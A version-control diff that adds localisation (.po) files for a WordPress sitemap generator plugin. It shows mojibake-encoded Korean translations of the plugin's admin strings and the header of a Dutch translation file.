+msgstr "MSN.comì íµë³Žíëë° %time% ìŽê° ê±žë žìµëë€. ë§ìœ ìŽ êž°ë¥ì ì¬ì©íì§ ììŒë©Ž ì¬ìŽíž ë§µ ìì±ìê°ì ì€ìŒ ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "MSN.comì íµë³Žíë ëì ë¬žì ê° ë°ìíìµëë€. <a href=\"%s\">ê²°ê³Œ ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.comì ë³ê²œì¬í­ì <b>ì±ê³µì ìŒë¡</b> íµë³Žíììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Ask.comì íµë³Žíëë° %time% ìŽê° ê±žë žìµëë€. ë§ìœ ìŽ êž°ë¥ì ì¬ì©íì§ ììŒë©Ž ì¬ìŽíž ë§µ ìì±ìê°ì ì€ìŒ ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Ask.comì íµë³Žíë ëì ë¬žì ê° ë°ìíìµëë€. <a href=\"%s\">ê²°ê³Œ ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ìì± ê³Œì ì ìë£íëë° ìœ <b>%time% ìŽ</b>ê° ê±žë žê³ , %memory% MB ì ë©ëªšëŠ¬ê° ì¬ì© ëììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "ìì± ê³Œì ì ìë£íëë° <b>%time% ìŽ</b>ê° ê±žë žìµëë€. "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ë§ì§ë§ ì€íìŽ ìë£ëì§ ìììµëë€! PHP ì€í¬ëŠœížì ìê°ì íìŽë ë©ëªšëŠ¬ íê³ë¥Œ ì¬ë € ë³Žìêž° ë°ëëë€. <a href=\"%url%\">ì ë³Ž ë ë³Žêž°</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ìµê·Œì ì€í¬ëŠœížê° ì¬ì©í ë©ëªšëŠ¬ë %memused%MB ìŽë©°, ìë²ì ë©ëªšëŠ¬ íê³ë %memlimit%ì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ìµê·Œì ì€ížëŠœížê° ì€ííë©Žì ê±žëŠ° ìê°ì %timeused%ìŽ ìŽê³ , ìë²ì ì íìê°ì %timelimit%ìŽ ì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "ì€í¬ëŠœížê° í¬ì€íž ëë² %lastpost% (+/- 100) ë¶ê·Œìì ë©ì¶ììµëë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "ë§ìœ ìë² ëë ëžë¡ê·žì ë³ê²œì¬í­ìŽ ìë€ë©Ž ìëìŒë¡ <a href=\"%s\">ì¬ìŽíž ë§µì ì¬ìì±</a>íŽìŒ í©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "ë§ìœ ìì± ê³Œì ì ìŽë í ë¬žì ê° ë°ìíë€ë©Ž <a href=\"%d\">ëë²ê·ž êž°ë¥</a>ì ìŽì©íì¬ ë ë§ì ì ë³Žë¥Œ ì»ì ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+msgid "Basic Options"
+msgstr "êž°ë³ž ìµì
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "ì¬ìŽíž ë§µ íìŒ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "ì ë³Ž ë ë³Žêž°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+msgid "Write a normal XML file (your filename)"
+msgstr "íì€ XML íìŒ ìì± ( ì¬ì©ì íìŒìŽëŠ )"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ìì¶ íìŒ ìì± ( ì¬ì©ì íìŒìŽëŠ + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "ìì± ëªšë:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ëžë¡ê·žì ëŽì©ìŽ ë³ê²œëìì ë ì¬ìŽíž ë§µì ì¬ìì±íš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "GET Requestë¥Œ íµíŽ ìë ì¬ìŽíž ë§µ ìì±ìŽ ê°ë¥í ë¡ íš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "ìŽ í­ëª©ì ìëíë ì€ APIë¥Œ ì¬ì©íì§ ìê³  ìëíë ì€ ë°ìŽí ë² ìŽì€ì ëŽì©ì ìì±íë ìžë¶ íë¡ê·žëšìŽ ìì ë ì¬ìŽíž ë§µì ì¬ìì±í  ì ìëë¡ íŽì€ëë€. ë€ìì ë§í¬ë¥Œ ë°ëŒ ê°ë©Ž ì²ëŠ¬ê³Œì ì ììí  ì ììµëë€.: <a href=\"%1\">%1</a> ì¬ìŽíž ë§µì ì±ê³µì ìŒë¡ ìì±íëì§ íìžíë €ë©Ž ìì ë¡ê·žíìŒì íìžíìêž° ë°ëëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+msgid "Update notification:"
+msgstr "ì
+ë°ìŽíž íµì§:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "ëžë¡ê·žì ì
+ë°ìŽížë¥Œ Googleì íµë³Ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "ë±ë¡ìŽ íìíì§ ìì§ë§, <a href=\"%s\">êµ¬êž ì¹ë§ì€í° íŽ</a> ì ê°ì
+íë©Ž ìì§ íµê³ë¥Œ íìží  ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "ëžë¡ê·žì ì
+ë°ìŽížë¥Œ MSN Liveì íµë³Ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "ë±ë¡ìŽ íìíì§ ìì§ë§, <a href=\"%s\">MSN Live ì¹ë§ì€í° íŽ</a> ì ê°ì
+íë©Ž ìì§ íµê³ë¥Œ íìží  ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "ëžë¡ê·žì ì
+ë°ìŽížë¥Œ Ask.comì íµë³Ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "ë±ë¡ íì ìì."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "ëžë¡ê·žì ì
+ë°ìŽížë¥Œ YAHOOì íµë³Ž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+msgid "Your Application ID:"
+msgstr "ë¹ì ì Application ID:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>!</a> %s2"
+msgstr "Keyë¥Œ ê°ì§ê³  ìì§ ìëì? <a href=\"%s1\">ì¬êž°ì ì ì²­íìžì</a>!</a> %s2"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "ì¬ìŽíž ë§µ ìì¹ë¥Œ í¬íšíê³  ìë ëžë¡ê·ž ë£šížì %s íìŒì ìì± ëë ë³ê²œí©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "íìŒ ê¶í:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "OK, robox.txtê° ì°êž° ê°ë¥í ìíì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "Error, robots.txtê° ì°êž° ë¶ê°ë¥í ìíì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt íìŒì ì¡Žì¬íì§ ìì§ë§ ëë í ëŠ¬ê° ì°êž° ê°ë¥í ìíì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Error, robots.txt ê° ì¡Žì¬íì§ ììŒë©° ëë í ëŠ¬ë ì°êž° ë¶ê°ë¥í ìíì
+ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Advanced options:"
+msgstr "ê³ êž ìµì
+:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "ì¬ìŽíž ë§µì í¬íšë  í¬ì€ížì ê°¯ìë¥Œ ì ííš:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "ìµê·Œ í¬ì€ížê° ëšŒì  í¬íšë©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "ë©ëªšëŠ¬ íê³ë¥Œ ìŠê°ìíŽ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "ì. \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "ì€í ìê° ì íì ìŠê°ìí€ëë¡íš:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "ìŽ ëšìë¡ êž°ì
+, ì.\"60\" ëë \"0\" (ì í ìì)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "XSLT ì€íìŒìížë¥Œ í¬íš:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "êž°ë³žì€ì  ì¬ì©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr ".xsl íìŒì ì ì²Ž ëë ìë ì£Œì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "MySQL ì€í ë€ë ëªšëë¥Œ ê°ë¥íê² íš. MySQL ìë¬ê° ë°ìí  ëë§ ì¬ì©íì­ìì€. (ë ë§ì ë©ëªšëŠ¬ê° íìíš!)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "ë°±ê·žëŒìŽë ìì
+ìŒë¡ ì¬ìŽíž ë§µì ìì± (í¬ì€ížë¥Œ ì ì¥í  ë êž°ë€ëŠ¬ì§ ììë ë©ëë€.)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
+msgstr "ë€ìì í¬ì€ížë íìŽì§ë¥Œ ì ìž:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "ìœ€ë§ë¡ êµ¬ë¶ë ID ëŠ¬ì€íž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+msgid "Additional pages"
+msgstr "íìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "ì¬êž°ì í¹ì  íìŒìŽë URLì ì¬ìŽíž ë§µì ì¶ê°í  ì ìì§ë§ Blog/WordPressì ìíŽ ìë ê²ì ì¶ê° í  ì ììµëë€. <br /> ìë¥Œ ë€ìŽ, ëë©ìžìŽ www.foo.comìŽê³  ëžë¡ê·žì ìì¹ê° www.foo.com/blog ëŒë©Ž www.foo.comì ííìŽì§ë¡ ì¶ê°í  ì ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+msgid "Note"
+msgstr "ì£Œì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "ëžë¡ê·žê° ìëž ëë í ëŠ¬ì ìì¹íëë° ì íìŽì§ë¥Œ ì¶ê°íêžž ìíë€ë©Ž ì¬ìŽíž ë§µ íìŒìŽ ëžë¡ê·ž ëë í ëŠ¬ë ê·ž ìëì ììŒë©Ž ìëê³  root ëë í ëŠ¬ì ììŽìŒ í©ëë€. (ìŽ íìŽì§ì &quot;ì¬ìŽíž ë§µ íìŒì ìì¹&quot; ë¶ë¶ì ë³Žì­ìì€.)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+msgid "URL to the page"
+msgstr "íìŽì§ì ì£Œì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "íìŽì§ì ì£Œìë¥Œ ì
+ë ¥íì­ìì€.ì:http://www.foo.com/index.html or www.foo.com/home"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+msgid "Priority"
+msgstr "ì°ì ìì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "ë€ë¥ž íìŽì§ì ë¹êµíì¬ íìŽì§ì ì°ì  ììë¥Œ ì ííì­ìì€. ìë¥Œ ë€ìŽ ííìŽì§ë ë€ë¥ž ê²ì ë¹íŽ ëì ì°ì  ììë¥Œ ê°ì žìŒ í©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+msgid "Last Changed"
+msgstr "ë§ì§ë§ ë³ê²œ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "ìµê·Œ ë³ê²œë ë ì§ë¥Œ YYYY-MM-DD (ì : 2005-12-31 ) íììŒë¡ ì
+ë ¥íì­ìì€ ( ì íì¬í­ )"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+msgid "Change Frequency"
+msgstr "ë³ê²œ ë¹ë"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+msgid "#"
+msgstr "#"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+msgid "No pages defined."
+msgstr "íìŽì§ê° ì§ì ëì§ ìììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+msgid "Add new page"
+msgstr "ì íìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+msgid "Post Priority"
+msgstr "í¬ì€íž ì°ì ìì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "ê° í¬ì€ížì ì°ì ììë¥Œ ìŽë»ê² ê³ì°í  ê²ìžì§ ì ííŽ ì£Œì­ìì€:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "ìë ì°ì ìì ê³ì°ì ì¬ì©íì§ ìì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ëªšë  í¬ì€ížê° &quot;ì°ì ê¶&quot;ìì ì€ì ë ì°ì ììë¥Œ ê°ê² ë©ëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+msgid "Location of your sitemap file"
+msgstr "ì¬ìŽíž ë§µ íìŒì ìì¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+msgid "Automatic detection"
+msgstr "ìë íì§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+msgid "Filename of the sitemap file"
+msgstr "ì¬ìŽíž ë§µ íìŒì ìŽëŠ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected Path"
+msgstr "íì§ë ê²œë¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+msgid "Detected URL"
+msgstr "íì§ë ì£Œì"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+msgid "Custom location"
+msgstr "ì»€ì€í
+ ë¡ìŒìŽì
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "íìŒìŽëŠì í¬íší ì¬ìŽíž ë§µ íìŒì ì ë ëë ìë ê²œë¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+msgid "Example"
+msgstr "ìì "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+msgid "Complete URL to the sitemap file, including name."
+msgstr "íìŒìŽëŠì í¬íší ì¬ìŽíž ë§µ íìŒì ìì í ì£Œì."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+msgid "Sitemap Content"
+msgstr "ì¬ìŽíž ë§µ ëŽì©"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+msgid "Include homepage"
+msgstr "ííìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+msgid "Include posts"
+msgstr "í¬ì€íž ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+msgid "Include static pages"
+msgstr "ì ì  íìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+msgid "Include categories"
+msgstr "ì¹Ží
+ê³ ëŠ¬ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+msgid "Include archives"
+msgstr "ìì¹ŽìŽëž ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+msgid "Include tag pages"
+msgstr "íí¬ íìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+msgid "Include author pages"
+msgstr "ìì±ì íìŽì§ ì¶ê°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+msgid "Change frequencies"
+msgstr "ìì§ ë¹ë ë³ê²œ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ê° íê·žì ìë ìì¹ë€ì ê³ ë €í  ì ìë ì¬í­ìŒ ë¿ ì ëì ìž ëª
+ë ¹ì ìëëë€. ìì¹ ìì§ì Crawlerê° ìëì ì ë³Žë¥Œ ìì§ ê²°ì ì ëŽëŠŽ ë ê³ ë €íë€ê³  íŽë \"ë§€ìê°\" ìŒë¡ ë íìŽì§ë¥Œ ë êžŽ ì£Œêž°ë¡ ìì§í  ìë ìê³  \"ë§€ë
+\" ìŒë¡ ë íìŽì§ë¥Œ ë ì§§ì ì£Œêž°ë¡ ìì§í  ìë ììµëë€. ìŽê²ì \"íì§ìì\"ìŒë¡ ë íìŽì§ë ë§ì°¬ê°ì§ë¡ ì£Œêž°ì  ìì§ì í  ìë ììŽì ê·žë¬í íìŽì§ì ë°ìí ë³íë¥Œ ìêž°ì¹ ìê² ìì§í  ìë ììµëë€."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+msgid "Homepage"
+msgstr "ííìŽì§"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+msgid "Posts"
+msgstr "í¬ì€ížë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+msgid "Static pages"
+msgstr "ì ì  íìŽì§ë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+msgid "Categories"
+msgstr "ì¹Ží
+ê³ ëŠ¬ë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ìŽë² ë¬ì ìì¹ŽìŽëž ( ííìŽì§ì ê°ììŒ í©ëë€.)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "ì€ëë ìì¹ŽìŽëž ( ìì  í¬ì€ížë¥Œ ìì íì ëë§ ë³ê²œ íì­ìì€.)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+msgid "Tag pages"
+msgstr "íê·ž íìŽì§ë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+msgid "Author pages"
+msgstr "ìì±ì íìŽì§ë€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+msgid "Priorities"
+msgstr "ì°ì ê¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+msgid "Posts (If auto calculation is disabled)"
+msgstr "í¬ì€íž ( ë§ìœ ìë ê³ì°ìŽ ì€ì§ ëìì ê²œì° )"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "ìµì í¬ì€íž ì°ì ê¶ (ë§ìœ ìë ê³ì°ìŽ íì±í ëìŽìì ëë)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+msgid "Archives"
+msgstr "ìì¹ŽìŽëž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+msgid "Update options"
+msgstr "ìµì
+ ì
+ë°ìŽíž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+msgid "Reset options"
+msgstr "ìµì
+ ìŽêž°í"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-nl_NL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-nl_NL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-nl_NL.po	(revision 44)
@@ -0,0 +1,505 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-03-15 10:27+0100\n"
+"Last-Translator: forkless <forkless@gmail.com>\n"
+"Language-Team: Arne Brachhold <himself@arnebrachhold.de>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
